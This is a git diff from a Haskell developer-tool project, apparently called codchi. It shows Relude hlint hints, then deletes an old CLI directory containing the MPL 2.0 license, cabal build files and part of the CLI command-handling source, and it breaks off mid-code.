'readTVarIO' from Relude, it's already lifted" - rhs: readTVarIO -- warn: - lhs: "(liftIO (newTMVarIO x))" - name: "'liftIO' is not needed" - note: "If you import 'newTMVarIO' from Relude, it's already lifted" - rhs: newTMVarIO -- warn: - lhs: "(liftIO (newEmptyTMVarIO ))" - name: "'liftIO' is not needed" - note: "If you import 'newEmptyTMVarIO' from Relude, it's already lifted" - rhs: newEmptyTMVarIO -- warn: - lhs: "(liftIO (exitWith x))" - name: "'liftIO' is not needed" - note: "If you import 'exitWith' from Relude, it's already lifted" - rhs: exitWith -- warn: - lhs: "(liftIO (exitFailure ))" - name: "'liftIO' is not needed" - note: "If you import 'exitFailure' from Relude, it's already lifted" - rhs: exitFailure -- warn: - lhs: "(liftIO (exitSuccess ))" - name: "'liftIO' is not needed" - note: "If you import 'exitSuccess' from Relude, it's already lifted" - rhs: exitSuccess -- warn: - lhs: "(liftIO (die x))" - name: "'liftIO' is not needed" - note: "If you import 'die' from Relude, it's already lifted" - rhs: die -- warn: - lhs: "(liftIO (readFile x))" - name: "'liftIO' is not needed" - note: "If you import 'readFile' from Relude, it's already lifted" - rhs: readFile -- warn: - lhs: "(liftIO (writeFile x y))" - name: "'liftIO' is not needed" - note: "If you import 'writeFile' from Relude, it's already lifted" - rhs: writeFile -- warn: - lhs: "(liftIO (appendFile x y))" - name: "'liftIO' is not needed" - note: "If you import 'appendFile' from Relude, it's already lifted" - rhs: appendFile -- warn: - lhs: "(liftIO (readFileText x))" - name: "'liftIO' is not needed" - note: "If you import 'readFileText' from Relude, it's already lifted" - rhs: readFileText -- warn: - lhs: "(liftIO (writeFileText x y))" - name: "'liftIO' is not needed" - note: "If you import 'writeFileText' from Relude, it's already lifted" - rhs: writeFileText -- warn: - lhs: "(liftIO (appendFileText x y))" - name: "'liftIO' is not needed" - note: "If you import 'appendFileText' from Relude, it's already lifted" - rhs: appendFileText -- warn: - lhs: "(liftIO (readFileLText x))" - name: "'liftIO' is not needed" - note: "If you import 'readFileLText' from Relude, it's already lifted" - rhs: readFileLText -- warn: - lhs: "(liftIO (writeFileLText x y))" - name: "'liftIO' is not needed" - note: "If you import 'writeFileLText' from Relude, it's already lifted" - rhs: writeFileLText -- warn: - lhs: "(liftIO (appendFileLText x y))" - name: "'liftIO' is not needed" - note: "If you import 'appendFileLText' from Relude, it's already lifted" - rhs: appendFileLText -- warn: - lhs: "(liftIO (readFileBS x))" - name: "'liftIO' is not needed" - note: "If you import 'readFileBS' from Relude, it's already lifted" - rhs: readFileBS -- warn: - lhs: "(liftIO (writeFileBS x y))" - name: "'liftIO' is not needed" - note: "If you import 'writeFileBS' from Relude, it's already lifted" - rhs: writeFileBS -- warn: - lhs: "(liftIO (appendFileBS x y))" - name: "'liftIO' is not needed" - note: "If you import 'appendFileBS' from Relude, it's already lifted" - rhs: appendFileBS -- warn: - lhs: "(liftIO (readFileLBS x))" - name: "'liftIO' is not needed" - note: "If you import 'readFileLBS' from Relude, it's already lifted" - rhs: readFileLBS -- warn: - lhs: "(liftIO (writeFileLBS x y))" - name: "'liftIO' is not needed" - note: "If you import 'writeFileLBS' from Relude, it's already lifted" - rhs: writeFileLBS -- warn: - lhs: "(liftIO (appendFileLBS x y))" - name: "'liftIO' is not needed" - note: "If you import 'appendFileLBS' from Relude, it's already lifted" - rhs: appendFileLBS -- warn: - lhs: "(liftIO (newIORef x))" - name: "'liftIO' is not needed" - note: "If you import 'newIORef' from Relude, it's already lifted" - rhs: newIORef -- warn: - lhs: "(liftIO (readIORef x))" - name: "'liftIO' is not needed" - note: "If you import 'readIORef' from Relude, it's already lifted" - rhs: readIORef -- warn: - lhs: "(liftIO (writeIORef x y))" - name: "'liftIO' is not needed" - note: "If you import 'writeIORef' from Relude, it's already lifted" - rhs: writeIORef -- warn: - lhs: "(liftIO (modifyIORef x y))" - name: "'liftIO' is not needed" - note: "If you import 'modifyIORef' from Relude, it's already lifted" - rhs: modifyIORef -- warn: - lhs: "(liftIO (modifyIORef' x y))" - name: "'liftIO' is not needed" - note: "If you import 'modifyIORef'' from Relude, it's already lifted" - rhs: "modifyIORef'" -- warn: - lhs: "(liftIO (atomicModifyIORef x y))" - name: "'liftIO' is not needed" - note: "If you import 'atomicModifyIORef' from Relude, it's already lifted" - rhs: atomicModifyIORef -- warn: - lhs: "(liftIO (atomicModifyIORef' x y))" - name: "'liftIO' is not needed" - note: "If you import 'atomicModifyIORef'' from Relude, it's already lifted" - rhs: "atomicModifyIORef'" -- warn: - lhs: "(liftIO (atomicWriteIORef x y))" - name: "'liftIO' is not needed" - note: "If you import 'atomicWriteIORef' from Relude, it's already lifted" - rhs: atomicWriteIORef -- warn: - lhs: "(liftIO (getLine ))" - name: "'liftIO' is not needed" - note: "If you import 'getLine' from Relude, it's already lifted" - rhs: getLine -- warn: - lhs: "(liftIO (print x))" - name: "'liftIO' is not needed" - note: "If you import 'print' from Relude, it's already lifted" - rhs: print -- warn: - lhs: "(liftIO (putStr x))" - name: "'liftIO' is not needed" - note: "If you import 'putStr' from Relude, it's already lifted" - rhs: putStr -- warn: - lhs: "(liftIO (putStrLn x))" - name: "'liftIO' is not needed" - note: "If you import 'putStrLn' from Relude, it's already lifted" - rhs: putStrLn -- warn: - lhs: "(liftIO (putText x))" - name: "'liftIO' is not needed" - note: "If you import 'putText' from Relude, it's already lifted" - rhs: putText -- warn: - lhs: "(liftIO (putTextLn x))" - name: "'liftIO' is not needed" - note: "If you import 'putTextLn' from Relude, it's already lifted" - rhs: putTextLn -- warn: - lhs: "(liftIO (putLText x))" - name: "'liftIO' is not needed" - note: "If you import 'putLText' from Relude, it's already lifted" - rhs: putLText -- warn: - lhs: "(liftIO (putLTextLn x))" - name: "'liftIO' is not needed" - note: "If you import 'putLTextLn' from Relude, it's already lifted" - rhs: putLTextLn -- warn: - lhs: "(liftIO (putBS x))" - name: "'liftIO' is not needed" - note: "If you import 'putBS' from Relude, it's already lifted" - rhs: putBS -- warn: - lhs: "(liftIO (putBSLn x))" - name: "'liftIO' is not needed" - note: "If you import 'putBSLn' from Relude, it's already lifted" - rhs: putBSLn -- warn: - lhs: "(liftIO (putLBS x))" - name: "'liftIO' is not needed" - note: "If you import 'putLBS' from Relude, it's already lifted" - rhs: putLBS -- warn: - lhs: "(liftIO (putLBSLn x))" - name: "'liftIO' is not needed" - note: "If you import 'putLBSLn' from Relude, it's already lifted" - rhs: putLBSLn -- warn: - lhs: "(liftIO (hFlush x))" - name: "'liftIO' is not needed" - note: "If you import 'hFlush' from Relude, it's already lifted" - rhs: hFlush -- warn: - lhs: "(liftIO (hIsEOF x))" - name: "'liftIO' is not needed" - note: "If you import 'hIsEOF' from Relude, it's already lifted" - rhs: hIsEOF -- warn: - lhs: "(liftIO (hSetBuffering x y))" - name: "'liftIO' is not needed" - note: "If you import 'hSetBuffering' from Relude, it's already lifted" - rhs: hSetBuffering -- warn: - lhs: "(liftIO (hGetBuffering x))" - name: "'liftIO' is not needed" - note: "If you import 'hGetBuffering' from Relude, it's already lifted" - rhs: hGetBuffering -- warn: - lhs: "(liftIO (getArgs ))" - name: "'liftIO' is not needed" - note: "If you import 'getArgs' from Relude, it's already lifted" - rhs: getArgs -- warn: - lhs: "(liftIO (lookupEnv x))" - name: "'liftIO' is not needed" - note: "If you import 'lookupEnv' from Relude, it's already lifted" - rhs: lookupEnv -- hint: - lhs: "fmap (bimap f g)" - note: "Use `bimapF` from `Relude.Extra.Bifunctor`" - rhs: bimapF f g -- hint: - lhs: "bimap f g <$> x" - note: "Use `bimapF` from `Relude.Extra.Bifunctor`" - rhs: bimapF f g x -- hint: - lhs: "fmap (first f)" - note: "Use `firstF` from `Relude.Extra.Bifunctor`" - rhs: firstF f -- hint: - lhs: fmap . first - note: "Use `firstF` from `Relude.Extra.Bifunctor`" - rhs: firstF -- hint: - lhs: "fmap (second f)" - note: "Use `secondF` from `Relude.Extra.Bifunctor`" - rhs: secondF f -- hint: - lhs: fmap . second - note: "Use `secondF` from `Relude.Extra.Bifunctor`" - rhs: secondF -- hint: - lhs: "[minBound .. maxBound]" - note: "Use `universe` from `Relude.Extra.Enum`" - rhs: universe -- hint: - lhs: succ - note: "`succ` from `Prelude` is a pure function but it may throw exception. Consider using `next` from `Relude.Extra.Enum` instead." - rhs: next -- hint: - lhs: pred - note: "`pred` from `Prelude` is a pure function but it may throw exception. Consider using `prev` from `Relude.Extra.Enum` instead." - rhs: prev -- hint: - lhs: toEnum - note: "`toEnum` from `Prelude` is a pure function but it may throw exception. Consider using `safeToEnum` from `Relude.Extra.Enum` instead." - rhs: safeToEnum -- hint: - lhs: sum xs / length xs - note: "Use `average` from `Relude.Extra.Foldable`" - rhs: average xs -- hint: - lhs: "\\a -> (a, a)" - note: "Use `dup` from `Relude.Extra.Tuple`" - rhs: dup -- hint: - lhs: "\\a -> (f a, a)" - note: "Use `toFst` from `Relude.Extra.Tuple`" - rhs: toFst f -- hint: - lhs: "\\a -> (a, f a)" - note: "Use `toSnd` from `Relude.Extra.Tuple`" - rhs: toSnd f -- hint: - lhs: fmap . toFst - note: "Use `fmapToFst` from `Relude.Extra.Tuple`" - rhs: fmapToFst -- hint: - lhs: "fmap (toFst f)" - note: "Use `fmapToFst` from `Relude.Extra.Tuple`" - rhs: fmapToFst f -- hint: - lhs: fmap . toSnd - note: "Use `fmapToSnd` from `Relude.Extra.Tuple`" - rhs: fmapToSnd -- hint: - lhs: "fmap (toSnd f)" - note: "Use `fmapToSnd` from `Relude.Extra.Tuple`" - rhs: fmapToSnd f -- hint: - lhs: map . toFst - note: "Use `fmapToFst` from `Relude.Extra.Tuple`" - rhs: fmapToFst -- hint: - lhs: "map (toFst f)" - note: "Use `fmapToFst` from `Relude.Extra.Tuple`" - rhs: fmapToFst f -- hint: - lhs: map . toSnd - note: "Use `fmapToSnd` from `Relude.Extra.Tuple`" - rhs: fmapToSnd -- hint: - lhs: "map (toSnd f)" - note: "Use `fmapToSnd` from `Relude.Extra.Tuple`" - rhs: fmapToSnd f -- hint: - lhs: "fmap (,a) (f a)" - note: "Use `traverseToFst` from `Relude.Extra.Tuple`" - rhs: traverseToFst f a -- hint: - lhs: "fmap (flip (,) a) (f a)" - note: "Use `traverseToFst` from `Relude.Extra.Tuple`" - rhs: traverseToFst f a -- hint: - lhs: "(,a) <$> f a" - note: "Use `traverseToFst` from `Relude.Extra.Tuple`" - rhs: traverseToFst f a -- hint: - lhs: "flip (,) a <$> f a" - note: "Use `traverseToFst` from `Relude.Extra.Tuple`" - rhs: traverseToFst f a -- hint: - lhs: "fmap (a,) (f a)" - note: "Use `traverseToSnd` from `Relude.Extra.Tuple`" - rhs: traverseToSnd f a -- hint: - lhs: "fmap ((,) a) (f a)" - note: "Use `traverseToSnd` from `Relude.Extra.Tuple`" - rhs: traverseToSnd f a -- hint: - lhs: "(a,) <$> f a" - note: "Use `traverseToSnd` from `Relude.Extra.Tuple`" - rhs: traverseToSnd f a -- hint: - lhs: "(,) a <$> f a" - note: "Use `traverseToSnd` from `Relude.Extra.Tuple`" - rhs: traverseToSnd f a diff --git a/.old/cli/LICENSE b/.old/cli/LICENSE deleted file mode 100644 index a612ad98..00000000 --- a/.old/cli/LICENSE +++ /dev/null @@ -1,373 +0,0 @@ -Mozilla Public License Version 2.0 -================================== - -1. Definitions --------------- - -1.1. "Contributor" - means each individual or legal entity that creates, contributes to - the creation of, or owns Covered Software. - -1.2. "Contributor Version" - means the combination of the Contributions of others (if any) used - by a Contributor and that particular Contributor's Contribution. - -1.3. "Contribution" - means Covered Software of a particular Contributor. - -1.4. "Covered Software" - means Source Code Form to which the initial Contributor has attached - the notice in Exhibit A, the Executable Form of such Source Code - Form, and Modifications of such Source Code Form, in each case - including portions thereof. - -1.5. "Incompatible With Secondary Licenses" - means - - (a) that the initial Contributor has attached the notice described - in Exhibit B to the Covered Software; or - - (b) that the Covered Software was made available under the terms of - version 1.1 or earlier of the License, but not also under the - terms of a Secondary License. - -1.6. "Executable Form" - means any form of the work other than Source Code Form. - -1.7. "Larger Work" - means a work that combines Covered Software with other material, in - a separate file or files, that is not Covered Software. - -1.8. "License" - means this document. - -1.9. "Licensable" - means having the right to grant, to the maximum extent possible, - whether at the time of the initial grant or subsequently, any and - all of the rights conveyed by this License. - -1.10. "Modifications" - means any of the following: - - (a) any file in Source Code Form that results from an addition to, - deletion from, or modification of the contents of Covered - Software; or - - (b) any new file in Source Code Form that contains any Covered - Software. - -1.11. "Patent Claims" of a Contributor - means any patent claim(s), including without limitation, method, - process, and apparatus claims, in any patent Licensable by such - Contributor that would be infringed, but for the grant of the - License, by the making, using, selling, offering for sale, having - made, import, or transfer of either its Contributions or its - Contributor Version. - -1.12. "Secondary License" - means either the GNU General Public License, Version 2.0, the GNU - Lesser General Public License, Version 2.1, the GNU Affero General - Public License, Version 3.0, or any later versions of those - licenses. - -1.13. "Source Code Form" - means the form of the work preferred for making modifications. - -1.14. "You" (or "Your") - means an individual or a legal entity exercising rights under this - License. For legal entities, "You" includes any entity that - controls, is controlled by, or is under common control with You. For - purposes of this definition, "control" means (a) the power, direct - or indirect, to cause the direction or management of such entity, - whether by contract or otherwise, or (b) ownership of more than - fifty percent (50%) of the outstanding shares or beneficial - ownership of such entity. - -2. License Grants and Conditions --------------------------------- - -2.1. Grants - -Each Contributor hereby grants You a world-wide, royalty-free, -non-exclusive license: - -(a) under intellectual property rights (other than patent or trademark) - Licensable by such Contributor to use, reproduce, make available, - modify, display, perform, distribute, and otherwise exploit its - Contributions, either on an unmodified basis, with Modifications, or - as part of a Larger Work; and - -(b) under Patent Claims of such Contributor to make, use, sell, offer - for sale, have made, import, and otherwise transfer either its - Contributions or its Contributor Version. - -2.2. Effective Date - -The licenses granted in Section 2.1 with respect to any Contribution -become effective for each Contribution on the date the Contributor first -distributes such Contribution. - -2.3. Limitations on Grant Scope - -The licenses granted in this Section 2 are the only rights granted under -this License. No additional rights or licenses will be implied from the -distribution or licensing of Covered Software under this License. -Notwithstanding Section 2.1(b) above, no patent license is granted by a -Contributor: - -(a) for any code that a Contributor has removed from Covered Software; - or - -(b) for infringements caused by: (i) Your and any other third party's - modifications of Covered Software, or (ii) the combination of its - Contributions with other software (except as part of its Contributor - Version); or - -(c) under Patent Claims infringed by Covered Software in the absence of - its Contributions. - -This License does not grant any rights in the trademarks, service marks, -or logos of any Contributor (except as may be necessary to comply with -the notice requirements in Section 3.4). - -2.4. Subsequent Licenses - -No Contributor makes additional grants as a result of Your choice to -distribute the Covered Software under a subsequent version of this -License (see Section 10.2) or under the terms of a Secondary License (if -permitted under the terms of Section 3.3). - -2.5. Representation - -Each Contributor represents that the Contributor believes its -Contributions are its original creation(s) or it has sufficient rights -to grant the rights to its Contributions conveyed by this License. - -2.6. Fair Use - -This License is not intended to limit any rights You have under -applicable copyright doctrines of fair use, fair dealing, or other -equivalents. - -2.7. Conditions - -Sections 3.1, 3.2, 3.3, and 3.4 are conditions of the licenses granted -in Section 2.1. - -3. Responsibilities -------------------- - -3.1. Distribution of Source Form - -All distribution of Covered Software in Source Code Form, including any -Modifications that You create or to which You contribute, must be under -the terms of this License. You must inform recipients that the Source -Code Form of the Covered Software is governed by the terms of this -License, and how they can obtain a copy of this License. You may not -attempt to alter or restrict the recipients' rights in the Source Code -Form. - -3.2. Distribution of Executable Form - -If You distribute Covered Software in Executable Form then: - -(a) such Covered Software must also be made available in Source Code - Form, as described in Section 3.1, and You must inform recipients of - the Executable Form how they can obtain a copy of such Source Code - Form by reasonable means in a timely manner, at a charge no more - than the cost of distribution to the recipient; and - -(b) You may distribute such Executable Form under the terms of this - License, or sublicense it under different terms, provided that the - license for the Executable Form does not attempt to limit or alter - the recipients' rights in the Source Code Form under this License. - -3.3. Distribution of a Larger Work - -You may create and distribute a Larger Work under terms of Your choice, -provided that You also comply with the requirements of this License for -the Covered Software. If the Larger Work is a combination of Covered -Software with a work governed by one or more Secondary Licenses, and the -Covered Software is not Incompatible With Secondary Licenses, this -License permits You to additionally distribute such Covered Software -under the terms of such Secondary License(s), so that the recipient of -the Larger Work may, at their option, further distribute the Covered -Software under the terms of either this License or such Secondary -License(s). - -3.4. Notices - -You may not remove or alter the substance of any license notices -(including copyright notices, patent notices, disclaimers of warranty, -or limitations of liability) contained within the Source Code Form of -the Covered Software, except that You may alter any license notices to -the extent required to remedy known factual inaccuracies. - -3.5. Application of Additional Terms - -You may choose to offer, and to charge a fee for, warranty, support, -indemnity or liability obligations to one or more recipients of Covered -Software. However, You may do so only on Your own behalf, and not on -behalf of any Contributor. You must make it absolutely clear that any -such warranty, support, indemnity, or liability obligation is offered by -You alone, and You hereby agree to indemnify every Contributor for any -liability incurred by such Contributor as a result of warranty, support, -indemnity or liability terms You offer. You may include additional -disclaimers of warranty and limitations of liability specific to any -jurisdiction. - -4. Inability to Comply Due to Statute or Regulation ---------------------------------------------------- - -If it is impossible for You to comply with any of the terms of this -License with respect to some or all of the Covered Software due to -statute, judicial order, or regulation then You must: (a) comply with -the terms of this License to the maximum extent possible; and (b) -describe the limitations and the code they affect. Such description must -be placed in a text file included with all distributions of the Covered -Software under this License. Except to the extent prohibited by statute -or regulation, such description must be sufficiently detailed for a -recipient of ordinary skill to be able to understand it. - -5. Termination --------------- - -5.1. The rights granted under this License will terminate automatically -if You fail to comply with any of its terms. However, if You become -compliant, then the rights granted under this License from a particular -Contributor are reinstated (a) provisionally, unless and until such -Contributor explicitly and finally terminates Your grants, and (b) on an -ongoing basis, if such Contributor fails to notify You of the -non-compliance by some reasonable means prior to 60 days after You have -come back into compliance. Moreover, Your grants from a particular -Contributor are reinstated on an ongoing basis if such Contributor -notifies You of the non-compliance by some reasonable means, this is the -first time You have received notice of non-compliance with this License -from such Contributor, and You become compliant prior to 30 days after -Your receipt of the notice. - -5.2. If You initiate litigation against any entity by asserting a patent -infringement claim (excluding declaratory judgment actions, -counter-claims, and cross-claims) alleging that a Contributor Version -directly or indirectly infringes any patent, then the rights granted to -You by any and all Contributors for the Covered Software under Section -2.1 of this License shall terminate. - -5.3. In the event of termination under Sections 5.1 or 5.2 above, all -end user license agreements (excluding distributors and resellers) which -have been validly granted by You or Your distributors under this License -prior to termination shall survive termination. - -************************************************************************ -* * -* 6. Disclaimer of Warranty * -* ------------------------- * -* * -* Covered Software is provided under this License on an "as is" * -* basis, without warranty of any kind, either expressed, implied, or * -* statutory, including, without limitation, warranties that the * -* Covered Software is free of defects, merchantable, fit for a * -* particular purpose or non-infringing. The entire risk as to the * -* quality and performance of the Covered Software is with You. * -* Should any Covered Software prove defective in any respect, You * -* (not any Contributor) assume the cost of any necessary servicing, * -* repair, or correction. This disclaimer of warranty constitutes an * -* essential part of this License. No use of any Covered Software is * -* authorized under this License except under this disclaimer. * -* * -************************************************************************ - -************************************************************************ -* * -* 7. Limitation of Liability * -* -------------------------- * -* * -* Under no circumstances and under no legal theory, whether tort * -* (including negligence), contract, or otherwise, shall any * -* Contributor, or anyone who distributes Covered Software as * -* permitted above, be liable to You for any direct, indirect, * -* special, incidental, or consequential damages of any character * -* including, without limitation, damages for lost profits, loss of * -* goodwill, work stoppage, computer failure or malfunction, or any * -* and all other commercial damages or losses, even if such party * -* shall have been informed of the possibility of such damages. This * -* limitation of liability shall not apply to liability for death or * -* personal injury resulting from such party's negligence to the * -* extent applicable law prohibits such limitation. Some * -* jurisdictions do not allow the exclusion or limitation of * -* incidental or consequential damages, so this exclusion and * -* limitation may not apply to You. * -* * -************************************************************************ - -8. Litigation -------------- - -Any litigation relating to this License may be brought only in the -courts of a jurisdiction where the defendant maintains its principal -place of business and such litigation shall be governed by laws of that -jurisdiction, without reference to its conflict-of-law provisions. -Nothing in this Section shall prevent a party's ability to bring -cross-claims or counter-claims. - -9. Miscellaneous ----------------- - -This License represents the complete agreement concerning the subject -matter hereof. If any provision of this License is held to be -unenforceable, such provision shall be reformed only to the extent -necessary to make it enforceable. Any law or regulation which provides -that the language of a contract shall be construed against the drafter -shall not be used to construe this License against a Contributor. - -10. Versions of the License ---------------------------- - -10.1. New Versions - -Mozilla Foundation is the license steward. Except as provided in Section -10.3, no one other than the license steward has the right to modify or -publish new versions of this License. Each version will be given a -distinguishing version number. - -10.2. Effect of New Versions - -You may distribute the Covered Software under the terms of the version -of the License under which You originally received the Covered Software, -or under the terms of any subsequent version published by the license -steward. - -10.3. Modified Versions - -If you create software not governed by this License, and you want to -create a new license for such software, you may create and use a -modified version of this License if you rename the license and remove -any references to the name of the license steward (except to note that -such modified license differs from this License). - -10.4. Distributing Source Code Form that is Incompatible With Secondary -Licenses - -If You choose to distribute Source Code Form that is Incompatible With -Secondary Licenses under the terms of this version of the License, the -notice described in Exhibit B of this License must be attached. - -Exhibit A - Source Code Form License Notice -------------------------------------------- - - This Source Code Form is subject to the terms of the Mozilla Public - License, v. 2.0. If a copy of the MPL was not distributed with this - file, You can obtain one at http://mozilla.org/MPL/2.0/. - -If it is not possible or desirable to put the notice in a particular -file, then You may include the notice in a location (such as a LICENSE -file in a relevant directory) where a recipient would be likely to look -for such a notice. - -You may add additional accurate notices of copyright ownership. - -Exhibit B - "Incompatible With Secondary Licenses" Notice ---------------------------------------------------------- - - This Source Code Form is "Incompatible With Secondary Licenses", as - defined by the Mozilla Public License, v. 2.0. diff --git a/.old/cli/app/Main.hs b/.old/cli/app/Main.hs deleted file mode 100644 index 2030240b..00000000 --- a/.old/cli/app/Main.hs +++ /dev/null @@ -1,9 +0,0 @@ -module Main where - -import Codchi -import Codchi.CLI -import Codchi.Platform -import Main.Utf8 - -main :: IO () -main = withUtf8 $ withStderrLogging $ runCodchi (cli =<< parseCmd) diff --git a/.old/cli/cabal.project b/.old/cli/cabal.project deleted file mode 100644 index 32182ba2..00000000 --- a/.old/cli/cabal.project +++ /dev/null @@ -1,4 +0,0 @@ -packages: . - -allow-newer: - strong-path:template-haskell diff --git a/.old/cli/codchi.cabal b/.old/cli/codchi.cabal deleted file mode 100644 index a0394a5f..00000000 --- a/.old/cli/codchi.cabal +++ /dev/null @@ -1,138 +0,0 @@ -cabal-version: 3.4 -name: codchi -version: 0.1.4 -license: MPL-2.0 -author: aformatik -build-type: Simple - -common shared - default-language: Haskell2010 - ghc-options: - -Wall -Wcompat -Widentities -Wincomplete-record-updates - -Wincomplete-uni-patterns -Wpartial-fields - - default-extensions: - NoFieldSelectors - ConstraintKinds - DataKinds - DefaultSignatures - DeriveDataTypeable - DeriveFoldable - DeriveFunctor - DeriveGeneric - DeriveTraversable - DerivingStrategies - DoAndIfThenElse - DuplicateRecordFields - ExistentialQuantification - ExplicitForAll - ExplicitNamespaces - FlexibleContexts - FlexibleInstances - FunctionalDependencies - GADTs - GeneralizedNewtypeDeriving - InstanceSigs - KindSignatures - LambdaCase - MultiParamTypeClasses - MultiWayIf - NamedFieldPuns - NumericUnderscores - OverloadedRecordDot - OverloadedStrings - PartialTypeSignatures - PostfixOperators - RankNTypes - ScopedTypeVariables - StandaloneDeriving - StandaloneKindSignatures - TupleSections - TypeApplications - TypeFamilies - TypeSynonymInstances - ViewPatterns - - -- OverloadedRecordUpdate - mixins: - base hiding (Prelude), - relude (Relude as Prelude, Relude.Container.One), - relude - - other-modules: - Codchi - Codchi.CLI - Codchi.Config - Codchi.Config.Common - Codchi.Config.IO - Codchi.Config.V012 - Codchi.Error - Codchi.Nix - Codchi.Parser - Codchi.Platform - Codchi.Platform.CodchiMonad - Codchi.Platform.Windows - Codchi.Platform.Windows.Internal - Codchi.Types - Paths_codchi - - build-depends: - , aeson - , aeson-pretty - , annotated-exception - , async - , attoparsec - , base >=4.15 && <5 - , byline - , bytestring - , directory - , exceptions - , filelock - , gitrev - , monad-logger - , mtl - , optparse-applicative ==0.17.0.0 - , path - , relude >=1.0 - , rio - , safe-json - , stm - , template-haskell - , text - , text-builder - , time - , transformers - , typed-process - , unliftio - , with-utf8 - - if os(windows) - -- exposed-modules: Codchi.Platform.Windows - -- Codchi.Platform.Windows.Internal - build-depends: - , Win32 - , Win32-shortcut - - if os(linux) - other-modules: Codchi.Platform.Linux - - if os(osx) - other-modules: Codchi.Platform.Darwin - -executable codchi - import: shared - hs-source-dirs: app src - main-is: Main.hs - ghc-options: -threaded -rtsopts -with-rtsopts=-N - - if os(windows) - ld-options: -static - -test-suite codchi-tests - import: shared - type: exitcode-stdio-1.0 - hs-source-dirs: test src - main-is: Spec.hs - build-depends: hspec - build-tool-depends: hspec-discover:hspec-discover - ghc-options: -threaded -rtsopts -with-rtsopts=-N diff --git a/.old/cli/src/Codchi.hs b/.old/cli/src/Codchi.hs deleted file mode 100644 index b05de3db..00000000 --- a/.old/cli/src/Codchi.hs +++ /dev/null @@ -1,321 +0,0 @@ -module Codchi where - -import Codchi.CLI -import Codchi.Config -import Codchi.Config.IO -import Codchi.Error -import Codchi.Nix -import Codchi.Parser (parse, parse_) -import Codchi.Platform -import Codchi.Types -import qualified Control.Exception.Annotated.UnliftIO as Ann -import Data.List (maximum) -import Data.Map.Strict ((!?)) -import qualified Data.Map.Strict as Map -import qualified Data.Text as Text -import RIO hiding (atomically, show, unlessM, unlines, whenM) -import UnliftIO.Directory (copyFile, createDirectoryIfMissing, doesFileExist, getCurrentDirectory) - -cli :: Command -> RIO Codchi () -cli CmdStart = do - let doStart = do - logInfo "Updating controller..." - driver <- driverMeta - let cmd = - Text.intercalate - " && " - [ "cd /" - , "nix run " <> ctrlRootfsCreateContents driver.moduleName - , "/bin/ctrl-update-profile" - ] - _ <- - logTraceId "controller update" - =<< runCtrlNixCmd_ StreamStd cmd - - logInfo "Starting controller..." - controllerStart - getStatus >>= \case - CodchiNotInstalled -> do - controllerInit - getStatus >>= \case - CodchiNotInstalled -> Ann.throw (InternalPanic "Couldn't install controller!") - _ -> doStart - _ -> doStart -cli CmdStatus = - getStatus >>= \case - CodchiNotInstalled -> - logExit $ - "The codchi controller is not installed. Please run '" <> _APP_NAME <> " start' to install it." - status -> do - logInfo $ - "Controller Status: " <> case status of - CodchiStopped -> "Stopped" - CodchiRunning -> "Running" - - instances <- listMachines - if not (null instances) - then - logInfo $ - display $ - showTable - "\t" - ( ["NAME", "STATUS"] - : [[i.name.text, show i.status] | i <- instances] - ) - else logInfo "No code machines found!" -cli (CmdAddCa name path) = do - absolutePath <- - if "." `isPrefixOf` path - then do - dir <- getCurrentDirectory - return (dir <> "/" <> path) - else return path - - certDir <- getDriverPath DirCtrl (fromList ["etc", "ssl", "certs", "custom"]) - createDirectoryIfMissing True certDir - - let certFile = certDir <> "/" <> toString name.text <> ".crt" - - whenM (doesFileExist certFile) $ - logExit $ - "Certificate " <> show name.text <> " already exists." - - copyFile absolutePath certFile - - _ <- - logTraceId "controller update certificates" - =<< runCtrlNixCmd_ StreamStd "/bin/ctrl-update-certs" - - logInfo $ - "Added certificate " <> show name.text <> " from " <> fromString absolutePath <> " to controller certifacte store." -cli (CmdInit instanceName) = - modifyConfig $ \cfg -> - case Map.lookup instanceName.text cfg.instances of - Just _existing -> - logExit $ - "Code machine " <> display instanceName.text <> " already exists." - Nothing -> - return (cfg{instances = Map.insert instanceName.text (defaultInstance instanceName) cfg.instances}) -cli (CmdAddModule instanceName opts) = modifyInstance instanceName $ \i -> - case i.modules !? opts.moduleName.text of - Just m -> - logExit $ - "Not overwriting existing module " - <> display m.name.text - <> ". Remove manually with `codchi remove-module`" - Nothing -> do - uri <- do - let remoteParsed = GitModule <$> parse opts.uri - localParsed <- fmap LocalModule <$> getControllerPath (toString opts.uri) - let parsed = - -- specify parsing order based on heuristics, because only - -- the error of the last parser is kept - if "C:" `Text.isPrefixOf` opts.uri || "." `Text.isPrefixOf` opts.uri - then remoteParsed <> localParsed - else localParsed <> remoteParsed - case parsed of - Left err -> - logExit $ - "Could not parse URI " - <> show opts.uri - <> ". Allowed formats: http(s), ssh, absolute file path. Specific error: " - <> fromString err - Right u -> return u - - let modul = Module{uri, moduleType = opts.moduleType, name = opts.moduleName, branchCommit = opts.branchCommit} - - -- automatically try to follow codchis' nixpkgs if not set already - nixpkgsFollows <- - if isJust i.nixpkgsFollows - then logTraceId "add-module: already set" i.nixpkgsFollows - else do - follow <- getNixpkgsInput modul - case follow of - Just (ModuleNixpkgs m) -> - logInfo $ - "Code machine " - <> display i.name.text - <> " now follows nixpkgs from " - <> display m.text - _ -> pass - return follow - - return - ( i - { modules = Map.insert opts.moduleName.text modul i.modules - , nixpkgsFollows - } - ) -cli (CmdRemoveModule instanceName moduleName) = modifyInstance instanceName $ \i -> - case i.modules !? moduleName.text of - Nothing -> - logExit $ - "Code machine " <> display i.name.text <> " has no module with name " <> show moduleName.text <> "." - Just _ -> do - nixpkgsFollows <- - if i.nixpkgsFollows == Just (ModuleNixpkgs moduleName) - then do - logWarn $ - "Code machine " <> show instanceName.text <> " followed " <> display moduleName.text <> "s' nixpkgs. This will now default to codchis' nixpkgs." - return Nothing - else return i.nixpkgsFollows - return - i - { nixpkgsFollows - , modules = Map.delete moduleName.text i.modules - } -cli (CmdSetFollows instanceName follows) = modifyInstance instanceName $ \i -> - case follows of - CodchiNixpkgs -> do - logInfo $ "Code machine " <> show instanceName.text <> " now follows codchis' nixpkgs." - return (i{nixpkgsFollows = Just follows}) - ModuleNixpkgs m -> - case i.modules !? m.text of - Nothing -> - logExit $ - "Code machine " - <> display instanceName.text - <> " has no module with name " - <> show m.text - Just modul -> do - nixpkgsFollows <- getNixpkgsInput modul - when (isJust nixpkgsFollows) $ - logInfo $ - "Code machine " - <> display instanceName.text - <> " now follows " - <> display m.text - <> "s' nixpkgs." - return (i{nixpkgsFollows}) -cli (CmdRebuild instanceName) = do - cfg <- readConfig - case cfg.instances !? instanceName.text of - Nothing -> - logExit $ - "Code machine " - <> display instanceName.text - <> " does not exist." - Just machine -> do - instanceDir 